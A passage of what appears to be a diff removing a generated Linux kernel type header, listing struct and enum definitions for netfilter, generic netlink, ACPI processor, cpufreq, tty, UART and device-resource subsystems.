*ops; - long unsigned int _metrics; - long unsigned int expires; - struct xfrm_state *xfrm; - int (*input)(struct sk_buff *); - int (*output)(struct net *, struct sock *, struct sk_buff *); - short unsigned int flags; - short int obsolete; - short unsigned int header_len; - short unsigned int trailer_len; - atomic_t __refcnt; - int __use; - long unsigned int lastuse; - struct lwtunnel_state *lwtstate; - struct callback_head callback_head; - short int error; - short int __pad; - __u32 tclassid; - netdevice_tracker dev_tracker; -}; - -enum nf_inet_hooks { - NF_INET_PRE_ROUTING = 0, - NF_INET_LOCAL_IN = 1, - NF_INET_FORWARD = 2, - NF_INET_LOCAL_OUT = 3, - NF_INET_POST_ROUTING = 4, - NF_INET_NUMHOOKS = 5, - NF_INET_INGRESS = 5, -}; - -enum { - NFPROTO_UNSPEC = 0, - NFPROTO_INET = 1, - NFPROTO_IPV4 = 2, - NFPROTO_ARP = 3, - NFPROTO_NETDEV = 5, - NFPROTO_BRIDGE = 7, - NFPROTO_IPV6 = 10, - NFPROTO_NUMPROTO = 11, -}; - -enum nf_log_type { - NF_LOG_TYPE_LOG = 0, - NF_LOG_TYPE_ULOG = 1, - NF_LOG_TYPE_MAX = 2, -}; - -typedef u8 u_int8_t; - -struct nf_loginfo; - -typedef void nf_logfn(struct net *, u_int8_t, unsigned int, const struct sk_buff *, const struct net_device *, const struct net_device *, const struct nf_loginfo *, const char *); - -struct nf_logger { - char *name; - enum nf_log_type type; - nf_logfn *logfn; - struct module *me; -}; - -enum tcp_conntrack { - TCP_CONNTRACK_NONE = 0, - TCP_CONNTRACK_SYN_SENT = 1, - TCP_CONNTRACK_SYN_RECV = 2, - TCP_CONNTRACK_ESTABLISHED = 3, - TCP_CONNTRACK_FIN_WAIT = 4, - TCP_CONNTRACK_CLOSE_WAIT = 5, - TCP_CONNTRACK_LAST_ACK = 6, - TCP_CONNTRACK_TIME_WAIT = 7, - TCP_CONNTRACK_CLOSE = 8, - TCP_CONNTRACK_LISTEN = 9, - TCP_CONNTRACK_MAX = 10, - TCP_CONNTRACK_IGNORE = 11, - TCP_CONNTRACK_RETRANS = 12, - TCP_CONNTRACK_UNACK = 13, - TCP_CONNTRACK_TIMEOUT_MAX = 14, -}; - -enum ct_dccp_states { - CT_DCCP_NONE = 0, - CT_DCCP_REQUEST = 1, - CT_DCCP_RESPOND = 2, - CT_DCCP_PARTOPEN = 3, - CT_DCCP_OPEN = 4, - CT_DCCP_CLOSEREQ = 5, - CT_DCCP_CLOSING = 6, - CT_DCCP_TIMEWAIT = 7, - CT_DCCP_IGNORE = 8, - CT_DCCP_INVALID = 9, - __CT_DCCP_MAX = 10, -}; - -enum ip_conntrack_dir { - IP_CT_DIR_ORIGINAL = 0, - IP_CT_DIR_REPLY = 1, - IP_CT_DIR_MAX = 2, -}; - -enum sctp_conntrack { - SCTP_CONNTRACK_NONE = 0, - SCTP_CONNTRACK_CLOSED = 1, - SCTP_CONNTRACK_COOKIE_WAIT = 2, - SCTP_CONNTRACK_COOKIE_ECHOED = 3, - SCTP_CONNTRACK_ESTABLISHED = 4, - SCTP_CONNTRACK_SHUTDOWN_SENT = 5, - SCTP_CONNTRACK_SHUTDOWN_RECD = 6, - SCTP_CONNTRACK_SHUTDOWN_ACK_SENT = 7, - SCTP_CONNTRACK_HEARTBEAT_SENT = 8, - SCTP_CONNTRACK_HEARTBEAT_ACKED = 9, - SCTP_CONNTRACK_MAX = 10, -}; - -enum udp_conntrack { - UDP_CT_UNREPLIED = 0, - UDP_CT_REPLIED = 1, - UDP_CT_MAX = 2, -}; - -enum { - XFRM_POLICY_IN = 0, - XFRM_POLICY_OUT = 1, - XFRM_POLICY_FWD = 2, - XFRM_POLICY_MASK = 3, - XFRM_POLICY_MAX = 3, -}; - -enum netns_bpf_attach_type { - NETNS_BPF_INVALID = -1, - NETNS_BPF_FLOW_DISSECTOR = 0, - NETNS_BPF_SK_LOOKUP = 1, - MAX_NETNS_BPF_ATTACH_TYPE = 2, -}; - -typedef struct { - struct net *net; -} possible_net_t; - -struct genl_multicast_group { - char name[16]; - u8 flags; -}; - -struct genl_split_ops; - -struct genl_info; - -struct genl_ops; - -struct genl_small_ops; - -struct genl_family { - unsigned int hdrsize; - char name[16]; - unsigned int version; - unsigned int maxattr; - u8 netnsok: 1; - u8 parallel_ops: 1; - u8 n_ops; - u8 n_small_ops; - u8 n_split_ops; - u8 n_mcgrps; - u8 resv_start_op; - const struct nla_policy *policy; - int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); - void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); - const struct genl_ops *ops; - const struct genl_small_ops *small_ops; - const struct genl_split_ops *split_ops; - const struct genl_multicast_group *mcgrps; - struct module *module; - int id; - unsigned int mcgrp_offset; -}; - -struct genl_split_ops { - union { - struct { - int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); - int (*doit)(struct sk_buff *, struct genl_info *); - void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); - }; - struct { - int (*start)(struct netlink_callback *); - int (*dumpit)(struct sk_buff *, struct netlink_callback *); - int (*done)(struct netlink_callback *); - }; - }; - const struct nla_policy *policy; - unsigned int maxattr; - u8 cmd; - u8 internal_flags; - u8 flags; - u8 validate; -}; - -struct genl_info { - u32 snd_seq; - u32 snd_portid; - struct nlmsghdr *nlhdr; - struct genlmsghdr *genlhdr; - void *userhdr; - struct nlattr **attrs; - possible_net_t _net; - void *user_ptr[2]; - struct netlink_ext_ack *extack; -}; - -struct genl_ops { - int (*doit)(struct sk_buff *, struct genl_info *); - int (*start)(struct netlink_callback *); - int (*dumpit)(struct sk_buff *, struct netlink_callback *); - int (*done)(struct netlink_callback *); - const struct nla_policy *policy; - unsigned int maxattr; - u8 cmd; - u8 internal_flags; - u8 flags; - u8 validate; -}; - -struct genl_small_ops { - int (*doit)(struct sk_buff *, struct genl_info *); - int (*dumpit)(struct sk_buff *, struct netlink_callback *); - u8 cmd; - u8 internal_flags; - u8 flags; - u8 validate; -}; - -struct acpi_genl_event { - acpi_device_class device_class; - char bus_id[15]; - u32 type; - u32 data; -}; - -enum { - ACPI_GENL_ATTR_UNSPEC = 0, - ACPI_GENL_ATTR_EVENT = 1, - __ACPI_GENL_ATTR_MAX = 2, -}; - -enum { - ACPI_GENL_CMD_UNSPEC = 0, - ACPI_GENL_CMD_EVENT = 1, - __ACPI_GENL_CMD_MAX = 2, -}; - -struct clk; - -enum pm_qos_type { - PM_QOS_UNITIALIZED = 0, - PM_QOS_MAX = 1, - PM_QOS_MIN = 2, -}; - -struct pm_qos_constraints { - struct plist_head list; - s32 target_value; - s32 default_value; - s32 no_constraint_value; - enum pm_qos_type type; - struct blocking_notifier_head *notifiers; -}; - -struct freq_constraints { - struct pm_qos_constraints min_freq; - struct blocking_notifier_head min_freq_notifiers; - struct pm_qos_constraints max_freq; - struct blocking_notifier_head max_freq_notifiers; -}; - -struct pm_qos_flags { - struct list_head list; - s32 effective_flags; -}; - -struct dev_pm_qos_request; - -struct dev_pm_qos { - struct pm_qos_constraints resume_latency; - struct pm_qos_constraints latency_tolerance; - struct freq_constraints freq; - struct pm_qos_flags flags; - struct dev_pm_qos_request *resume_latency_req; - struct dev_pm_qos_request *latency_tolerance_req; - struct dev_pm_qos_request *flags_req; -}; - -struct pm_qos_flags_request { - struct list_head node; - s32 flags; -}; - -enum freq_qos_req_type { - FREQ_QOS_MIN = 1, - FREQ_QOS_MAX = 2, -}; - -struct freq_qos_request { - enum freq_qos_req_type type; - struct plist_node pnode; - struct freq_constraints *qos; -}; - -enum dev_pm_qos_req_type { - DEV_PM_QOS_RESUME_LATENCY = 1, - DEV_PM_QOS_LATENCY_TOLERANCE = 2, - DEV_PM_QOS_MIN_FREQUENCY = 3, - DEV_PM_QOS_MAX_FREQUENCY = 4, - DEV_PM_QOS_FLAGS = 5, -}; - -struct dev_pm_qos_request { - enum dev_pm_qos_req_type type; - union { - struct plist_node pnode; - struct pm_qos_flags_request flr; - struct freq_qos_request freq; - } data; - struct device *dev; -}; - -enum cpufreq_table_sorting { - CPUFREQ_TABLE_UNSORTED = 0, - CPUFREQ_TABLE_SORTED_ASCENDING = 1, - CPUFREQ_TABLE_SORTED_DESCENDING = 2, -}; - -struct cpufreq_cpuinfo { - unsigned int max_freq; - unsigned int min_freq; - unsigned int transition_latency; -}; - -struct cpufreq_governor; - -struct cpufreq_frequency_table; - -struct cpufreq_stats; - -struct thermal_cooling_device; - -struct cpufreq_policy { - cpumask_var_t cpus; - cpumask_var_t related_cpus; - cpumask_var_t real_cpus; - unsigned int shared_type; - unsigned int cpu; - struct clk *clk; - struct cpufreq_cpuinfo cpuinfo; - unsigned int min; - unsigned int max; - unsigned int cur; - unsigned int suspend_freq; - unsigned int policy; - unsigned int last_policy; - struct cpufreq_governor *governor; - void *governor_data; - char last_governor[16]; - struct work_struct update; - struct freq_constraints constraints; - struct freq_qos_request *min_freq_req; - struct freq_qos_request *max_freq_req; - struct cpufreq_frequency_table *freq_table; - enum cpufreq_table_sorting freq_table_sorted; - struct list_head policy_list; - struct kobject kobj; - struct completion kobj_unregister; - struct rw_semaphore rwsem; - bool fast_switch_possible; - bool fast_switch_enabled; - bool strict_target; - bool efficiencies_available; - unsigned int transition_delay_us; - bool dvfs_possible_from_any_cpu; - unsigned int cached_target_freq; - unsigned int cached_resolved_idx; - bool transition_ongoing; - spinlock_t transition_lock; - wait_queue_head_t transition_wait; - struct task_struct *transition_task; - struct cpufreq_stats *stats; - void *driver_data; - struct thermal_cooling_device *cdev; - struct notifier_block nb_min; - struct notifier_block nb_max; -}; - -struct cpufreq_governor { - char name[16]; - int (*init)(struct cpufreq_policy *); - void (*exit)(struct cpufreq_policy *); - int (*start)(struct cpufreq_policy *); - void (*stop)(struct cpufreq_policy *); - void (*limits)(struct cpufreq_policy *); - ssize_t (*show_setspeed)(struct cpufreq_policy *, char *); - int (*store_setspeed)(struct cpufreq_policy *, unsigned int); - struct list_head governor_list; - struct module *owner; - u8 flags; -}; - -struct cpufreq_frequency_table { - unsigned int flags; - unsigned int driver_data; - unsigned int frequency; -}; - -struct thermal_cooling_device_ops; - -struct thermal_cooling_device { - int id; - char *type; - struct device device; - struct device_node *np; - void *devdata; - void *stats; - const struct thermal_cooling_device_ops *ops; - bool updated; - struct mutex lock; - struct list_head thermal_instances; - struct list_head node; -}; - -typedef u64 acpi_size; - -typedef u32 acpi_status; - -typedef char *acpi_string; - -struct acpi_object_list { - u32 count; - union acpi_object *pointer; -}; - -struct acpi_buffer { - acpi_size length; - void *pointer; -}; - -struct acpi_table_header { - char signature[4]; - u32 length; - u8 revision; - u8 checksum; - char oem_id[6]; - char oem_table_id[8]; - u32 oem_revision; - char asl_compiler_id[4]; - u32 asl_compiler_revision; -}; - -struct acpi_generic_address { - u8 space_id; - u8 bit_width; - u8 bit_offset; - u8 access_width; - u64 address; -} __attribute__((packed)); - -struct acpi_table_fadt { - struct acpi_table_header header; - u32 facs; - u32 dsdt; - u8 model; - u8 preferred_profile; - u16 sci_interrupt; - u32 smi_command; - u8 acpi_enable; - u8 acpi_disable; - u8 s4_bios_request; - u8 pstate_control; - u32 pm1a_event_block; - u32 pm1b_event_block; - u32 pm1a_control_block; - u32 pm1b_control_block; - u32 pm2_control_block; - u32 pm_timer_block; - u32 gpe0_block; - u32 gpe1_block; - u8 pm1_event_length; - u8 pm1_control_length; - u8 pm2_control_length; - u8 pm_timer_length; - u8 gpe0_block_length; - u8 gpe1_block_length; - u8 gpe1_base; - u8 cst_control; - u16 c2_latency; - u16 c3_latency; - u16 flush_size; - u16 flush_stride; - u8 duty_offset; - u8 duty_width; - u8 day_alarm; - u8 month_alarm; - u8 century; - u16 boot_flags; - u8 reserved; - u32 flags; - struct acpi_generic_address reset_register; - u8 reset_value; - u16 arm_boot_flags; - u8 minor_revision; - u64 Xfacs; - u64 Xdsdt; - struct acpi_generic_address xpm1a_event_block; - struct acpi_generic_address xpm1b_event_block; - struct acpi_generic_address xpm1a_control_block; - struct acpi_generic_address xpm1b_control_block; - struct acpi_generic_address xpm2_control_block; - struct acpi_generic_address xpm_timer_block; - struct acpi_generic_address xgpe0_block; - struct acpi_generic_address xgpe1_block; - struct acpi_generic_address sleep_control; - struct acpi_generic_address sleep_status; - u64 hypervisor_id; -} __attribute__((packed)); - -typedef u32 phys_cpuid_t; - -struct thermal_cooling_device_ops { - int (*get_max_state)(struct thermal_cooling_device *, long unsigned int *); - int (*get_cur_state)(struct thermal_cooling_device *, long unsigned int *); - int (*set_cur_state)(struct thermal_cooling_device *, long unsigned int); - int (*get_requested_power)(struct thermal_cooling_device *, u32 *); - int (*state2power)(struct thermal_cooling_device *, long unsigned int, u32 *); - int (*power2state)(struct thermal_cooling_device *, u32, long unsigned int *); -}; - -struct acpi_processor_cx { - u8 valid; - u8 type; - u32 address; - u8 entry_method; - u8 index; - u32 latency; - u8 bm_sts_skip; - char desc[32]; -}; - -struct acpi_lpi_state { - u32 min_residency; - u32 wake_latency; - u32 flags; - u32 arch_flags; - u32 res_cnt_freq; - u32 enable_parent_state; - u64 address; - u8 index; - u8 entry_method; - char desc[32]; -}; - -struct acpi_processor_power { - int count; - union { - struct acpi_processor_cx states[8]; - struct acpi_lpi_state lpi_states[8]; - }; - int timer_broadcast_on_state; -}; - -struct acpi_psd_package { - u64 num_entries; - u64 revision; - u64 domain; - u64 coord_type; - u64 num_processors; -}; - -struct acpi_pct_register { - u8 descriptor; - u16 length; - u8 space_id; - u8 bit_width; - u8 bit_offset; - u8 reserved; - u64 address; -} __attribute__((packed)); - -struct acpi_processor_px { - u64 core_frequency; - u64 power; - u64 transition_latency; - u64 bus_master_latency; - u64 control; - u64 status; -}; - -struct acpi_processor_performance { - unsigned int state; - unsigned int platform_limit; - struct acpi_pct_register control_register; - struct acpi_pct_register status_register; - long: 0; - unsigned int state_count; - long: 0; - struct acpi_processor_px *states; - struct acpi_psd_package domain_info; - cpumask_var_t shared_cpu_map; - unsigned int shared_type; -} __attribute__((packed)); - -struct acpi_tsd_package { - u64 num_entries; - u64 revision; - u64 domain; - u64 coord_type; - u64 num_processors; -}; - -struct acpi_processor_tx_tss { - u64 freqpercentage; - u64 power; - u64 transition_latency; - u64 control; - u64 status; -}; - -struct acpi_processor_tx { - u16 power; - u16 performance; -}; - -struct acpi_processor; - -struct acpi_processor_throttling { - unsigned int state; - unsigned int platform_limit; - struct acpi_pct_register control_register; - struct acpi_pct_register status_register; - long: 0; - unsigned int state_count; - long: 0; - struct acpi_processor_tx_tss *states_tss; - struct acpi_tsd_package domain_info; - cpumask_var_t shared_cpu_map; - int (*acpi_processor_get_throttling)(struct acpi_processor *); - int (*acpi_processor_set_throttling)(struct acpi_processor *, int, bool); - u32 address; - u8 duty_offset; - u8 duty_width; - u8 tsd_valid_flag; - long: 0; - unsigned int shared_type; - struct acpi_processor_tx states[16]; -} __attribute__((packed)); - -struct acpi_processor_flags { - u8 power: 1; - u8 performance: 1; - u8 throttling: 1; - u8 limit: 1; - u8 bm_control: 1; - u8 bm_check: 1; - u8 has_cst: 1; - u8 has_lpi: 1; - u8 power_setup_done: 1; - u8 bm_rld_set: 1; - u8 need_hotplug_init: 1; -}; - -struct acpi_processor_lx { - int px; - int tx; -}; - -struct acpi_processor_limit { - struct acpi_processor_lx state; - struct acpi_processor_lx thermal; - struct acpi_processor_lx user; -}; - -struct acpi_processor { - acpi_handle handle; - u32 acpi_id; - phys_cpuid_t phys_id; - u32 id; - u32 pblk; - int performance_platform_limit; - int throttling_platform_limit; - struct acpi_processor_flags flags; - struct acpi_processor_power power; - struct acpi_processor_performance *performance; - struct acpi_processor_throttling throttling; - struct acpi_processor_limit limit; - struct thermal_cooling_device *cdev; - struct device *dev; - struct freq_qos_request perflib_req; - struct freq_qos_request thermal_req; -}; - -typedef unsigned int uint; - -struct ld_semaphore { - atomic_long_t count; - raw_spinlock_t wait_lock; - unsigned int wait_readers; - struct list_head read_wait; - struct list_head write_wait; - struct lockdep_map dep_map; -}; - -typedef unsigned int tcflag_t; - -typedef unsigned char cc_t; - -typedef unsigned int speed_t; - -struct ktermios { - tcflag_t c_iflag; - tcflag_t c_oflag; - tcflag_t c_cflag; - tcflag_t c_lflag; - cc_t c_line; - cc_t c_cc[19]; - speed_t c_ispeed; - speed_t c_ospeed; -}; - -struct winsize { - short unsigned int ws_row; - short unsigned int ws_col; - short unsigned int ws_xpixel; - short unsigned int ws_ypixel; -}; - -struct tty_driver; - -struct tty_operations; - -struct tty_ldisc; - -struct tty_port; - -struct tty_struct { - struct kref kref; - struct device *dev; - struct tty_driver *driver; - const struct tty_operations *ops; - int index; - struct ld_semaphore ldisc_sem; - struct tty_ldisc *ldisc; - struct mutex atomic_write_lock; - struct mutex legacy_mutex; - struct mutex throttle_mutex; - struct rw_semaphore termios_rwsem; - struct mutex winsize_mutex; - struct ktermios termios; - struct ktermios termios_locked; - char name[64]; - long unsigned int flags; - int count; - struct winsize winsize; - struct { - spinlock_t lock; - bool stopped; - bool tco_stopped; - long unsigned int unused[0]; - } flow; - struct { - spinlock_t lock; - struct pid *pgrp; - struct pid *session; - unsigned char pktstatus; - bool packet; - long unsigned int unused[0]; - } ctrl; - int hw_stopped; - unsigned int receive_room; - int flow_change; - struct tty_struct *link; - struct fasync_struct *fasync; - wait_queue_head_t write_wait; - wait_queue_head_t read_wait; - struct work_struct hangup_work; - void *disc_data; - void *driver_data; - spinlock_t files_lock; - struct list_head tty_files; - int closing; - unsigned char *write_buf; - int write_cnt; - struct work_struct SAK_work; - struct tty_port *port; -}; - -struct cdev { - struct kobject kobj; - struct module *owner; - const struct file_operations *ops; - struct list_head list; - dev_t dev; - unsigned int count; -}; - -struct tty_buffer { - union { - struct tty_buffer *next; - struct llist_node free; - }; - int used; - int size; - int commit; - int lookahead; - int read; - int flags; - long unsigned int data[0]; -}; - -struct tty_bufhead { - struct tty_buffer *head; - struct work_struct work; - struct mutex lock; - atomic_t priority; - struct tty_buffer sentinel; - struct llist_head free; - atomic_t mem_used; - int mem_limit; - struct tty_buffer *tail; -}; - -struct serial_icounter_struct; - -struct serial_struct; - -struct tty_operations { - struct tty_struct * (*lookup)(struct tty_driver *, struct file *, int); - int (*install)(struct tty_driver *, struct tty_struct *); - void (*remove)(struct tty_driver *, struct tty_struct *); - int (*open)(struct tty_struct *, struct file *); - void (*close)(struct tty_struct *, struct file *); - void (*shutdown)(struct tty_struct *); - void (*cleanup)(struct tty_struct *); - int (*write)(struct tty_struct *, const unsigned char *, int); - int (*put_char)(struct tty_struct *, unsigned char); - void (*flush_chars)(struct tty_struct *); - unsigned int (*write_room)(struct tty_struct *); - unsigned int (*chars_in_buffer)(struct tty_struct *); - int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); - long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); - void (*set_termios)(struct tty_struct *, const struct ktermios *); - void (*throttle)(struct tty_struct *); - void (*unthrottle)(struct tty_struct *); - void (*stop)(struct tty_struct *); - void (*start)(struct tty_struct *); - void (*hangup)(struct tty_struct *); - int (*break_ctl)(struct tty_struct *, int); - void (*flush_buffer)(struct tty_struct *); - void (*set_ldisc)(struct tty_struct *); - void (*wait_until_sent)(struct tty_struct *, int); - void (*send_xchar)(struct tty_struct *, char); - int (*tiocmget)(struct tty_struct *); - int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); - int (*resize)(struct tty_struct *, struct winsize *); - int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); - int (*get_serial)(struct tty_struct *, struct serial_struct *); - int (*set_serial)(struct tty_struct *, struct serial_struct *); - void (*show_fdinfo)(struct tty_struct *, struct seq_file *); - int (*proc_show)(struct seq_file *, void *); -}; - -struct tty_driver { - struct kref kref; - struct cdev **cdevs; - struct module *owner; - const char *driver_name; - const char *name; - int name_base; - int major; - int minor_start; - unsigned int num; - short int type; - short int subtype; - struct ktermios init_termios; - long unsigned int flags; - struct proc_dir_entry *proc_entry; - struct tty_driver *other; - struct tty_struct **ttys; - struct tty_port **ports; - struct ktermios **termios; - void *driver_state; - const struct tty_operations *ops; - struct list_head tty_drivers; -}; - -struct serial_icounter_struct { - int cts; - int dsr; - int rng; - int dcd; - int rx; - int tx; - int frame; - int overrun; - int parity; - int brk; - int buf_overrun; - int reserved[9]; -}; - -struct serial_struct { - int type; - int line; - unsigned int port; - int irq; - int flags; - int xmit_fifo_size; - int custom_divisor; - int baud_base; - short unsigned int close_delay; - char io_type; - char reserved_char[1]; - int hub6; - short unsigned int closing_wait; - short unsigned int closing_wait2; - unsigned char *iomem_base; - short unsigned int iomem_reg_shift; - unsigned int port_high; - long unsigned int iomap_base; -}; - -struct __kfifo { - unsigned int in; - unsigned int out; - unsigned int mask; - unsigned int esize; - void *data; -}; - -struct tty_port_operations; - -struct tty_port_client_operations; - -struct tty_port { - struct tty_bufhead buf; - struct tty_struct *tty; - struct tty_struct *itty; - const struct tty_port_operations *ops; - const struct tty_port_client_operations *client_ops; - spinlock_t lock; - int blocked_open; - int count; - wait_queue_head_t open_wait; - wait_queue_head_t delta_msr_wait; - long unsigned int flags; - long unsigned int iflags; - unsigned char console: 1; - struct mutex mutex; - struct mutex buf_mutex; - unsigned char *xmit_buf; - struct { - union { - struct __kfifo kfifo; - unsigned char *type; - const unsigned char *const_type; - char (*rectype)[0]; - unsigned char *ptr; - const unsigned char *ptr_const; - }; - unsigned char buf[0]; - } xmit_fifo; - unsigned int close_delay; - unsigned int closing_wait; - int drain_delay; - struct kref kref; - void *client_data; -}; - -struct tty_ldisc_ops { - char *name; - int num; - int (*open)(struct tty_struct *); - void (*close)(struct tty_struct *); - void (*flush_buffer)(struct tty_struct *); - ssize_t (*read)(struct tty_struct *, struct file *, unsigned char *, size_t, void **, long unsigned int); - ssize_t (*write)(struct tty_struct *, struct file *, const unsigned char *, size_t); - int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); - int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); - void (*set_termios)(struct tty_struct *, const struct ktermios *); - __poll_t (*poll)(struct tty_struct *, struct file *, struct poll_table_struct *); - void (*hangup)(struct tty_struct *); - void (*receive_buf)(struct tty_struct *, const unsigned char *, const char *, int); - void (*write_wakeup)(struct tty_struct *); - void (*dcd_change)(struct tty_struct *, unsigned int); - int (*receive_buf2)(struct tty_struct *, const unsigned char *, const char *, int); - void (*lookahead_buf)(struct tty_struct *, const unsigned char *, const unsigned char *, unsigned int); - struct module *owner; -}; - -struct tty_ldisc { - struct tty_ldisc_ops *ops; - struct tty_struct *tty; -}; - -struct tty_port_operations { - int (*carrier_raised)(struct tty_port *); - void (*dtr_rts)(struct tty_port *, int); - void (*shutdown)(struct tty_port *); - int (*activate)(struct tty_port *, struct tty_struct *); - void (*destruct)(struct tty_port *); -}; - -struct tty_port_client_operations { - int (*receive_buf)(struct tty_port *, const unsigned char *, const unsigned char *, size_t); - void (*lookahead_buf)(struct tty_port *, const unsigned char *, const unsigned char *, unsigned int); - void (*write_wakeup)(struct tty_port *); -}; - -struct console { - char name[16]; - void (*write)(struct console *, const char *, unsigned int); - int (*read)(struct console *, char *, unsigned int); - struct tty_driver * (*device)(struct console *, int *); - void (*unblank)(); - int (*setup)(struct console *, char *); - int (*exit)(struct console *); - int (*match)(struct console *, char *, int, char *); - short int flags; - short int index; - int cflag; - uint ispeed; - uint ospeed; - u64 seq; - long unsigned int dropped; - void *data; - struct console *next; -}; - -struct serial_rs485 { - __u32 flags; - __u32 delay_rts_before_send; - __u32 delay_rts_after_send; - union { - __u32 padding[5]; - struct { - __u8 addr_recv; - __u8 addr_dest; - __u8 padding0[2]; - __u32 padding1[4]; - }; - }; -}; - -struct serial_iso7816 { - __u32 flags; - __u32 tg; - __u32 sc_fi; - __u32 sc_di; - __u32 clk; - __u32 reserved[5]; -}; - -struct circ_buf { - char *buf; - int head; - int tail; -}; - -struct uart_port; - -struct uart_ops { - unsigned int (*tx_empty)(struct uart_port *); - void (*set_mctrl)(struct uart_port *, unsigned int); - unsigned int (*get_mctrl)(struct uart_port *); - void (*stop_tx)(struct uart_port *); - void (*start_tx)(struct uart_port *); - void (*throttle)(struct uart_port *); - void (*unthrottle)(struct uart_port *); - void (*send_xchar)(struct uart_port *, char); - void (*stop_rx)(struct uart_port *); - void (*start_rx)(struct uart_port *); - void (*enable_ms)(struct uart_port *); - void (*break_ctl)(struct uart_port *, int); - int (*startup)(struct uart_port *); - void (*shutdown)(struct uart_port *); - void (*flush_buffer)(struct uart_port *); - void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); - void (*set_ldisc)(struct uart_port *, struct ktermios *); - void (*pm)(struct uart_port *, unsigned int, unsigned int); - const char * (*type)(struct uart_port *); - void (*release_port)(struct uart_port *); - int (*request_port)(struct uart_port *); - void (*config_port)(struct uart_port *, int); - int (*verify_port)(struct uart_port *, struct serial_struct *); - int (*ioctl)(struct uart_port *, unsigned int, long unsigned int); -}; - -struct uart_icount { - __u32 cts; - __u32 dsr; - __u32 rng; - __u32 dcd; - __u32 rx; - __u32 tx; - __u32 frame; - __u32 overrun; - __u32 parity; - __u32 brk; - __u32 buf_overrun; -}; - -typedef u64 upf_t; - -typedef unsigned int upstat_t; - -struct gpio_desc; - -struct uart_state; - -struct uart_port { - spinlock_t lock; - long unsigned int iobase; - unsigned char *membase; - unsigned int (*serial_in)(struct uart_port *, int); - void (*serial_out)(struct uart_port *, int, int); - void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); - void (*set_ldisc)(struct uart_port *, struct ktermios *); - unsigned int (*get_mctrl)(struct uart_port *); - void (*set_mctrl)(struct uart_port *, unsigned int); - unsigned int (*get_divisor)(struct uart_port *, unsigned int, unsigned int *); - void (*set_divisor)(struct uart_port *, unsigned int, unsigned int, unsigned int); - int (*startup)(struct uart_port *); - void (*shutdown)(struct uart_port *); - void (*throttle)(struct uart_port *); - void (*unthrottle)(struct uart_port *); - int (*handle_irq)(struct uart_port *); - void (*pm)(struct uart_port *, unsigned int, unsigned int); - void (*handle_break)(struct uart_port *); - int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); - int (*iso7816_config)(struct uart_port *, struct serial_iso7816 *); - unsigned int irq; - long unsigned int irqflags; - unsigned int uartclk; - unsigned int fifosize; - unsigned char x_char; - unsigned char regshift; - unsigned char iotype; - unsigned char quirks; - unsigned int read_status_mask; - unsigned int ignore_status_mask; - struct uart_state *state; - struct uart_icount icount; - struct console *cons; - upf_t flags; - upstat_t status; - int hw_stopped; - unsigned int mctrl; - unsigned int frame_time; - unsigned int type; - const struct uart_ops *ops; - unsigned int custom_divisor; - unsigned int line; - unsigned int minor; - resource_size_t mapbase; - resource_size_t mapsize; - struct device *dev; - long unsigned int sysrq; - unsigned int sysrq_ch; - unsigned char has_sysrq; - unsigned char sysrq_seq; - unsigned char hub6; - unsigned char suspended; - unsigned char console_reinit; - const char *name; - struct attribute_group *attr_group; - const struct attribute_group **tty_groups; - struct serial_rs485 rs485; - struct serial_rs485 rs485_supported; - struct gpio_desc *rs485_term_gpio; - struct serial_iso7816 iso7816; - void *private_data; -}; - -enum uart_pm_state { - UART_PM_STATE_ON = 0, - UART_PM_STATE_OFF = 3, - UART_PM_STATE_UNDEFINED = 4, -}; - -struct uart_state { - struct tty_port port; - enum uart_pm_state pm_state; - struct circ_buf xmit; - atomic_t refcount; - wait_queue_head_t remove_wait; - struct uart_port *uart_port; -}; - -struct earlycon_device { - struct console *con; - struct uart_port port; - char options[16]; - unsigned int baud; -}; - -struct earlycon_id { - char name[15]; - char name_term; - char compatible[128]; - int (*setup)(struct earlycon_device *, const char *); -}; - -struct __va_list_tag { - unsigned int gp_offset; - unsigned int fp_offset; - void *overflow_arg_area; - void *reg_save_area; -}; - -typedef __builtin_va_list va_list; - -struct klist_node; - -struct klist { - spinlock_t k_lock; - struct list_head k_list; - void (*get)(struct klist_node *); - void (*put)(struct klist_node *); -}; - -struct klist_node { - void *n_klist; - struct list_head n_node; - struct kref n_ref; -}; - -struct subsys_private { - struct kset subsys; - struct kset *devices_kset; - struct list_head interfaces; - struct mutex mutex; - struct kset *drivers_kset; - struct klist klist_devices; - struct klist klist_drivers; - struct blocking_notifier_head bus_notifier; - unsigned int drivers_autoprobe: 1; - struct bus_type *bus; - struct kset glue_dirs; - struct class *class; -}; - -struct driver_private { - struct kobject kobj; - struct klist klist_devices; - struct klist_node knode_bus; - struct module_kobject *mkobj; - struct device_driver *driver; -}; - -typedef void (*dr_release_t)(struct device *, void *); - -typedef int (*dr_match_t)(struct device *, void *, void *); - -struct device_private { - struct klist klist_children; - struct klist_node knode_parent; - struct klist_node knode_driver; - struct klist_node knode_bus; - struct klist_node knode_class; - struct list_head deferred_probe; - struct device_driver *async_driver; - char *deferred_probe_reason; - struct device *device; - u8 dead: 1; -}; - -struct devres_node { - struct list_head entry; - dr_release_t release; - const char *name; - size_t size; -}; - -struct devres { - struct devres_node node; - u8 data[0]; -}; - -struct devres_group { - struct devres_node node[2]; - void *id; - int color; -}; - -struct action_devres { - void *data; - void (*action)(void *); -}; - -struct pages_devres { - long unsigned int addr; - unsigned int order; -}; - -typedef __u16 __sum16; - -typedef unsigned int slab_flags_t; - -struct debugfs_u32_array { - u32 *array; - u32 n_elements; -}; - -typedef short unsigned int __kernel_sa_family_t; - -typedef __kernel_sa_family_t sa_family_t; - -struct sockaddr { - sa_family_t sa_family; - union { - char sa_data_min[14]; - struct { - struct {} __empty_sa_data; - char sa_data[0]; - }; - }; -}; - -struct ubuf_info; - -struct msghdr { - void *msg_name; - int msg_namelen; - int msg_inq; - struct iov_iter msg_iter; - union { - void *msg_control; - void *msg_control_user; 